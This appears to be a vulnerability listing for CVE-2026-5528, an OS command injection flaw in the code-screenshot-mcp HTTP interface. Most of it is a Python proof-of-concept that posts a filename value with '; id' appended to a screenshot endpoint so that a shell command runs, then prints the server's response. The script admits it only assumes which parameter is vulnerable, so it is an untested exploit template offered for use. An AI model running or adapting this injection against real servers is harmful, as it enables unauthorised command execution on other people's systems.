CVE-2026-5528 code-screenshot-mcp OS命令注入漏洞

import requests import json # PoC for CVE-2026-5528 OS Command Injection # Target: MoussaabBadla code-screenshot-mcp HTTP Interface target_url = "http://127.0.0.1:PORT/api/screenshot" # Replace PORT with actual port # Malicious payload to inject command (e.g., 'id' or 'whoami') # Assumes a vulnerable parameter like 'filename' or 'path' payload = "; id" # Constructing the malicious request data = { "filename": "screenshot.png" + payload, "url": "http://example.com" } headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=json.dumps(data), headers=headers) # Check if command execution output is reflected if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")